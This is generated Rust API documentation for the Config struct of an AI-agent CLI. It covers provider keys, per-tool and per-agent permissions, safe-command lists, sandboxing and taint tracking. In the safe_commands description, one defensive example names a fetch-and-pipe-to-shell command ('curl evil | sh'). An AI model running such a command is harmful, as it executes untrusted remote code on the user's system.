Skip to main content

Config

Struct Config 

Source
pub struct Config {
Show 27 fields pub default_provider: String, pub providers: ProviderConfig, pub agent_paths: Vec<PathBuf>, pub openrouter_api_key: Option<String>, pub ollama_base_url: Option<String>, pub mcp_servers: Vec<MCPServerConfig>, pub default_model: Option<String>, pub model_capabilities: HashMap<String, ModelCapabilityOverride>, pub model_providers: HashMap<String, ModelProviderConfig>, pub tool_permissions: HashMap<String, ToolPolicy>, pub agent_tool_permissions: HashMap<String, HashMap<String, ToolPolicy>>, pub safe_commands: SafeCommands, pub agent_safe_commands: HashMap<String, AgentSafeCommands>, pub title: TitleConfig, pub request_timeout_secs: Option<u64>, pub rate_limits: HashMap<String, RateLimitConfig>, pub taint_tracking: bool, pub limits: LimitsConfig, pub batch_tool_hint: bool, pub shell_hint: bool, pub nudge: NudgeConfig, pub webhook: WebhookConfig, pub observability: ObservabilityConfig, pub sandbox: Option<ToolSandboxConfig>, pub tool_script_permissions: ScriptToolPermissions, pub security: SecurityConfig, pub agent_read_paths: HashMap<String, ReadPathGrants>,
}
Expand description

CLI configuration.

Fields§

§default_provider: String

Default provider

§providers: ProviderConfig

Provider API keys

§agent_paths: Vec<PathBuf>

Agent project paths

§openrouter_api_key: Option<String>

OpenRouter API key

§ollama_base_url: Option<String>

Ollama base URL (default http://localhost:11434)

§mcp_servers: Vec<MCPServerConfig>

MCP server configurations

§default_model: Option<String>

Default model override

§model_capabilities: HashMap<String, ModelCapabilityOverride>

Per-model capability overrides. Key is model ID (e.g. “my-local-llama”). Takes precedence over the provider’s built-in capability table.

§model_providers: HashMap<String, ModelProviderConfig>

Optional overrides for Rhai script providers. Key is the provider name an agent references (e.g. "groq"). A script activates by being referenced + its .rhai file existing in the providers dir; an entry here only supplies overrides (an API key not read from env, a base_url, a rate_limit, a differently-named script, or extra keys forwarded to the script’s initialize).

§tool_permissions: HashMap<String, ToolPolicy>

Global tool permission overrides.

Keys are tool names (e.g. "bash", "write_file"). Values override the built-in defaults, and act as a ceiling that a blueprint’s own [tool_permissions] may tighten but never loosen - see crate::tools::resolve_policy. To grant one agent more than this without loosening it everywhere, use Self::agent_tool_permissions.

§agent_tool_permissions: HashMap<String, HashMap<String, ToolPolicy>>

Per-agent tool permission grants, keyed by agent name.

[agent_tool_permissions.coder]
shell = "allow"

This is the escape hatch for the ceiling in Self::tool_permissions. Because a blueprint may only tighten what the user configured, a global shell = "ask" would otherwise stop a trusted agent from pre-approving its own shell. Naming the agent here is the user saying “I trust this one” - a decision that lives in the user’s config, not the downloaded manifest’s. Entries replace the global value for that agent, and are then the ceiling the blueprint is clamped against.

§safe_commands: SafeCommands

What a run may do without asking, for tools whose policy is ask.

ask is all-or-nothing per tool name, which for the shell means choosing between a prompt on every ls and no prompt on curl evil | sh. Entries here are argument-scoped, in the same key space a “for this run” grant uses:

[safe_commands]
defaults = true                 # ship the read-only verb list
tools = ["read_files"]
shell = ["cargo test", "rg"]    # `cargo test` never covers `cargo publish`

A safe entry can only ever turn ask into allow. It never reaches a configured deny.

§agent_safe_commands: HashMap<String, AgentSafeCommands>

Per-agent additions to Self::safe_commands, keyed by agent name.

[agent_safe_commands.coder]
shell = ["./gradlew", "ninja"]
allow_blueprint = true

Mirrors Self::agent_tool_permissions and Self::agent_read_paths: naming the agent is the user saying “I trust this one”.

§title: TitleConfig

Title-generation configuration.

Controls whether a short human-readable title is auto-generated from the task prompt at worker startup.

§request_timeout_secs: Option<u64>

Request timeout in seconds for HTTP calls to provider APIs. Unset, the providers fall back to the unified 15-minute ceiling (leviath_providers::DEFAULT_INFERENCE_TIMEOUT_SECS) - there is always SOME timeout, because a call that never completes wedges its run with no error. A stage’s [stages.<name>.model] request_timeout_secs overrides either value for that stage’s requests.

§rate_limits: HashMap<String, RateLimitConfig>

Client-side rate limits for the built-in providers, keyed by provider name (anthropic, openai, google, openrouter).

[rate_limits.anthropic]
requests_per_minute = 50
tokens_per_minute = 40000

Script providers configure theirs via [model_providers.<name>] rate_limit instead.

§taint_tracking: bool

Global master switch for taint tracking / data-flow enforcement.

Off by default (opt-in). When true, every agent enforces taint tracking by default; individual agents or stages can opt out via a [security] taint_tracking = false block. When false, an agent still opts in by setting taint_tracking = true in its own [security].

§limits: LimitsConfig

Runtime resource limits (inference concurrency + iteration caps).

§batch_tool_hint: bool

Global master switch for the batch-tool-calls system-prompt hint.

On by default (opt-out). When true, every stage’s request carries a short hint telling the model it may emit several tool_use blocks in one response and should batch independent operations (but never dependent ones) to cut API round trips. Individual agents or stages can opt out by setting batch_tool_hint = false in their [agent] / [stages.<name>] blocks; when this global is false, they opt back in by setting it to true at the narrower scope.

§shell_hint: bool

Global master switch for the platform shell hint.

On by default (opt-out). When true, a stage that advertises the shell tool carries a short system block describing the shell it will actually get, so the model doesn’t spend iterations discovering it. The hint is emitted only where the platform warrants one (today: Windows, where commands run through cmd.exe /C rather than a POSIX shell), so on Linux and macOS this toggle costs nothing either way. Individual agents or stages override it with shell_hint in their [agent] / [stages.<name>] blocks.

§nudge: NudgeConfig

Machine-wide defaults for the empty-response nudge ([nudge]): the [System] message injected when a stage’s model replies with text before making any tool call. All three keys (enabled, max, text) are optional; an agent’s [agent.nudge] or a stage’s [stages.<name>.nudge] overrides each field independently. See leviath_core::resolve_nudge.

§webhook: WebhookConfig

Completion-webhook delivery tuning (retry/backoff/timeout).

§observability: ObservabilityConfig

Structured observability export (OpenTelemetry). Off by default; when enabled the daemon exports run/stage/inference/tool spans, metrics, and trace-correlated log records for every agent run. The standard OTEL_EXPORTER_OTLP_ENDPOINT / OTEL_SERVICE_NAME env vars fill any hole the file leaves, same as the provider keys.

§sandbox: Option<ToolSandboxConfig>

Machine-wide default sandbox for tool execution. An agent’s own [sandbox] (or a stage’s) overrides this; when unset, agents run tools on the host unless they opt in themselves. See leviath_core::resolve_sandbox.

§tool_script_permissions: ScriptToolPermissions

Per-host-function permissions for Rhai script tools (Layer 3). Gates what a registered script tool may do (network, shell, file, env access).

§security: SecurityConfig

Machine-wide security switches that aren’t part of the per-tool permission cascade. (The global taint master switch stays the top-level Self::taint_tracking key for back-compat.)

§agent_read_paths: HashMap<String, ReadPathGrants>

Per-agent read grants, keyed by agent name - the itemized counterpart of SecurityConfig::allow_blueprint_read_paths, analogous to Self::agent_tool_permissions:

[agent_read_paths.cto]
allow = ["~/.leviath/runs", "glob:~/design-docs/**"]

Naming the agent here is the user saying “I trust this one to read these” - a decision that lives in the user’s config, not the downloaded manifest. As with [security] read_paths, a grant only takes effect for a path the blueprint also declares.

Implementations§

Source§

impl Config

Source

pub fn permissions_for_agent( &self, agent_name: &str, ) -> HashMap<String, ToolPolicy>

The permission ceiling to apply to agent_name: the global [tool_permissions] with that agent’s [agent_tool_permissions.<name>] entries laid over it.

Returned by value (rather than as two maps threaded through crate::tools::resolve_policy) so the ceiling is resolved exactly once, at spawn, and every later lookup reads a single flat map.

Source

pub fn safe_keys_for_agent( &self, agent_name: &str, blueprint: Option<&SafeCommandsConfig>, ) -> BTreeMap<String, SafeSource>

The safe-command keys in effect for agent_name, and where each came from. Resolved once at spawn, mirroring Self::permissions_for_agent.

blueprint is the manifest’s own [safe_commands], which contributes only when the user opted in - see crate::approvals::resolve_safe_keys.

Source

pub fn read_path_grants_for_agent(&self, agent_name: &str) -> Vec<String>

Every read-path grant that applies to agent_name: the machine-wide [security] read_paths list plus that agent’s [agent_read_paths.<name>] entries. Resolved once at spawn, mirroring Self::permissions_for_agent.

Source

pub fn load() -> Result<Self>

Load configuration from the default location (~/.leviath/config.toml).

After loading from file (or using defaults), environment variables are checked as fallbacks. Env vars override config file values if set.

Source

pub fn unread_keys_at(path: &Path) -> Vec<String>

Keys in the config file at path that nothing reads.

The same answer the start-up warning gives, available to anyone who wants to ask rather than having to catch it scrolling past - which is what lev doctor does with it. An unreadable or absent file has no unread keys, because that is a different problem and one the caller has already reported.

Source

pub fn load_from_path_public(path: &Path) -> Result<Self>

Load a config from an explicit path (lev mcp uses this to read the file it is about to rewrite). Public wrapper over the tested load_from_path.

Source

pub fn save_to_path_public(&self, path: &Path) -> Result<()>

Save a config to an explicit path. Public wrapper over save_to_path, for lev mcp rewriting the config file.

Source

pub fn config_path() -> PathBuf

Get the path to the config file.

Two overrides, narrowest first: LEVIATH_CONFIG_PATH names this file exactly, and LEVIATH_HOME (via leviath_core::data_dir) redirects it along with every other home-relative path.

Honoring both matters. LEVIATH_HOME’s whole purpose is to “redirect every home-relative path at once” - that is what its doc says and what tests, sandboxed runs and scratch environments rely on - so a config path that quietly ignored it would let a run that believes it is isolated read and write the developer’s real ~/.leviath/config.toml, the file holding every provider API key. Found by doing exactly that during live testing.

Source

pub fn validate_keys(&self) -> Vec<String>

Validate API key formats and return warnings for suspicious keys.

Trait Implementations§

Source§

impl Clone for Config

Source§

fn clone(&self) -> Config

Returns a duplicate of the value. Read more
1.0.0 (const: unstable) · Source§

fn clone_from(&mut self, source: &Self)

Performs copy-assignment from source. Read more
Source§

impl Debug for Config

Source§

fn fmt(&self, f: &mut Formatter<'_>) -> Result

Formats the value using the given formatter. Read more
Source§

impl Default for Config

Source§

fn default() -> Self

Returns the “default value” for a type. Read more
Source§

impl<'de> Deserialize<'de> for Config

Source§

fn deserialize<__D>(__deserializer: __D) -> Result<Self, __D::Error>
where __D: Deserializer<'de>,

Deserialize this value from the given Serde deserializer. Read more
Source§

impl Serialize for Config

Source§

fn serialize<__S>(&self, __serializer: __S) -> Result<__S::Ok, __S::Error>
where __S: Serializer,

Serialize this value into the given Serde serializer. Read more

Auto Trait Implementations§

Blanket Implementations§

Source§

impl<T> Any for T
where T: 'static + ?Sized,

Source§

fn type_id(&self) -> TypeId

Gets the TypeId of self. Read more
Source§

impl<T> Borrow<T> for T
where T: ?Sized,

Source§

fn borrow(&self) -> &T

Immutably borrows from an owned value. Read more
Source§

impl<T> BorrowMut<T> for T
where T: ?Sized,

Source§

fn borrow_mut(&mut self) -> &mut T

Mutably borrows from an owned value. Read more
Source§

impl<ST, DT> CastableFrom<ST, Initialized, Initialized> for DT
where ST: ?Sized, DT: ?Sized,

Source§

impl<ST, DT> CastableFrom<ST, Uninit, Uninit> for DT
where ST: ?Sized, DT: ?Sized,

Source§

impl<T> CloneToUninit for T
where T: Clone,

Source§

unsafe fn clone_to_uninit(&self, dest: *mut u8)

🔬This is a nightly-only experimental API. (clone_to_uninit)
Performs copy-assignment from self to dest. Read more
Source§

impl<T> ConditionalSend for T
where T: Send,

Source§

impl<T> DeserializeOwned for T
where T: for<'de> Deserialize<'de>,

Source§

impl<T> Downcast for T
where T: Any,

Source§

fn into_any(self: Box<T>) -> Box<dyn Any>

Converts Box<dyn Trait> (where Trait: Downcast) to Box<dyn Any>, which can then be downcast into Box<dyn ConcreteType> where ConcreteType implements Trait.
Source§

fn into_any_rc(self: Rc<T>) -> Rc<dyn Any>

Converts Rc<Trait> (where Trait: Downcast) to Rc<Any>, which can then be further downcast into Rc<ConcreteType> where ConcreteType implements Trait.
Source§

fn as_any(&self) -> &(dyn Any + 'static)

Converts &Trait (where Trait: Downcast) to &Any. This is needed since Rust cannot generate &Any’s vtable from &Trait’s.
Source§

fn as_any_mut(&mut self) -> &mut (dyn Any + 'static)

Converts &mut Trait (where Trait: Downcast) to &Any. This is needed since Rust cannot generate &mut Any’s vtable from &mut Trait’s.
Source§

impl<T> DowncastSend for T
where T: Any + Send,

Source§

fn into_any_send(self: Box<T>) -> Box<dyn Any + Send>

Converts Box<Trait> (where Trait: DowncastSend) to Box<dyn Any + Send>, which can then be downcast into Box<ConcreteType> where ConcreteType implements Trait.
Source§

impl<T> From<T> for T

Source§

fn from(t: T) -> T

Returns the argument unchanged.

Source§

impl<T> FromRef<T> for T
where T: Clone,

Source§

fn from_ref(input: &T) -> T

Converts to this type from a reference to the input type.
Source§

impl<T> FromTemplate for T
where T: Clone + Default + Unpin,

Source§

type Template = T

The Template for this type.
Source§

impl<T> FromWorld for T
where T: Default,

Source§

fn from_world(_world: &mut World) -> T

Creates Self using default().

Source§

impl<T> FutureExt for T

Source§

fn with_context(self, otel_cx: Context) -> WithContext<Self>

Attaches the provided Context to this type, returning a WithContext wrapper. Read more
Source§

fn with_current_context(self) -> WithContext<Self>

Attaches the current Context to this type, returning a WithContext wrapper. Read more
Source§

impl<T> Instrument for T

Source§

fn instrument(self, span: Span) -> Instrumented<Self>

Instruments this type with the provided Span, returning an Instrumented wrapper. Read more
Source§

fn in_current_span(self) -> Instrumented<Self>

Instruments this type with the current Span, returning an Instrumented wrapper. Read more
Source§

impl<T, U> Into<U> for T
where U: From<T>,

Source§

fn into(self) -> U

Calls U::from(self).

That is, this conversion is whatever the implementation of From<T> for U chooses to do.

Source§

impl<T> IntoEither for T

Source§

fn into_either(self, into_left: bool) -> Either<Self, Self>

Converts self into a Left variant of Either<Self, Self> if into_left is true. Converts self into a Right variant of Either<Self, Self> otherwise. Read more
Source§

fn into_either_with<F>(self, into_left: F) -> Either<Self, Self>
where F: FnOnce(&Self) -> bool,

Converts self into a Left variant of Either<Self, Self> if into_left(&self) returns true. Converts self into a Right variant of Either<Self, Self> otherwise. Read more
Source§

impl<T> IntoResult<T> for T

Source§

fn into_result(self) -> Result<T, RunSystemError>

Converts this type into the system output type.
Source§

impl<A> Is for A
where A: Any,

Source§

fn is<T>() -> bool
where T: Any,

Checks if the current type “is” another type, using a TypeId equality comparison. This is most useful in the context of generic logic. Read more
Source§

impl<T> NoneValue for T
where T: Default,

Source§

type NoneType = T

Source§

fn null_value() -> T

The none-equivalent value.
Source§

impl<T> PolicyExt for T
where T: ?Sized,

Source§

fn and<P, B, E>(self, other: P) -> And<T, P>
where T: Sized + Policy<B, E>, P: Policy<B, E>,

Create a new Policy that returns Action::Follow only if self and other return Action::Follow. Read more
Source§

fn or<P, B, E>(self, other: P) -> Or<T, P>
where T: Sized + Policy<B, E>, P: Policy<B, E>,

Create a new Policy that returns Action::Follow if either self or other returns Action::Follow. Read more
Source§

impl<T> Read<Exclusive, BecauseExclusive> for T
where T: ?Sized,

Source§

impl<T> Same for T

Source§

type Output = T

Should always be Self
Source§

impl<T> Serialize for T
where T: Serialize + ?Sized,

Source§

fn erased_serialize(&self, serializer: &mut dyn Serializer) -> Result<(), Error>

Source§

fn do_erased_serialize( &self, serializer: &mut dyn Serializer, ) -> Result<(), ErrorImpl>

Source§

impl<T> Template for T
where T: Clone + Default + Unpin,

Source§

type Output = T

The type of value produced by this Template.
Source§

fn build_template( &self, _context: &mut TemplateContext<'_, '_>, ) -> Result<<T as Template>::Output, BevyError>

Uses this template and the given entity context to produce a Template::Output.
Source§

fn clone_template(&self) -> T

Clones this template. See Clone.
Source§

impl<T> ToOwned for T
where T: Clone,

Source§

type Owned = T

The resulting type after obtaining ownership.
Source§

fn to_owned(&self) -> T

Creates owned data from borrowed data, usually by cloning. Read more
Source§

fn clone_into(&self, target: &mut T)

Uses borrowed data to replace owned data, usually by cloning. Read more
Source§

impl<T, U> TryFrom<U> for T
where U: Into<T>,

Source§

type Error = Infallible

The type returned in the event of a conversion error.
Source§

fn try_from(value: U) -> Result<T, <T as TryFrom<U>>::Error>

Performs the conversion.
Source§

impl<T, U> TryInto<U> for T
where U: TryFrom<T>,

Source§

type Error = <U as TryFrom<T>>::Error

The type returned in the event of a conversion error.
Source§

fn try_into(self) -> Result<U, <U as TryFrom<T>>::Error>

Performs the conversion.
Source§

impl<T> TypeData for T
where T: 'static + Send + Sync + Clone,

Source§

fn clone_type_data(&self) -> Box<dyn TypeData>

Creates a type-erased clone of this value.
Source§

impl<V, T> VZip<V> for T
where V: MultiLane<T>,

Source§

fn vzip(self) -> V

Source§

impl<T> WithSubscriber for T

Source§

fn with_subscriber<S>(self, subscriber: S) -> WithDispatch<Self>
where S: Into<Dispatch>,

Attaches the provided Subscriber to this type, returning a WithDispatch wrapper. Read more
Source§

fn with_current_subscriber(self) -> WithDispatch<Self>

Attaches the current default Subscriber to this type, returning a WithDispatch wrapper. Read more